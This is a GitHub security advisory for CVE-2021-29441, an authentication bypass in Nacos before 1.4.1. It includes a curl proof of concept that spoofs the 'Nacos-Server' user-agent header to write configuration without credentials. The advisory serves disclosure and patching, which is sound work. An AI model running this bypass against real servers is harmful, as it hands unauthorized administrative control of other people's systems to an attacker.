Skip to content

Authentication Bypass

High severity GitHub Reviewed Published Apr 27, 2021 to the GitHub Advisory Database • Updated Feb 1, 2023

Package

maven com.alibaba.nacos:nacos-common (Maven)

Affected versions

< 1.4.1

Patched versions

1.4.1

Description

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}                                                                                                       

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true 

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

References

Reviewed Apr 27, 2021
Published to the GitHub Advisory Database Apr 27, 2021
Published by the National Vulnerability Database Apr 27, 2021
Last updated Feb 1, 2023

Severity

High

Weaknesses

CVE ID

CVE-2021-29441

GHSA ID

GHSA-36hp-jr8h-556f

Source code

No known source code
Checking history
See something to contribute? Suggest improvements for this vulnerability.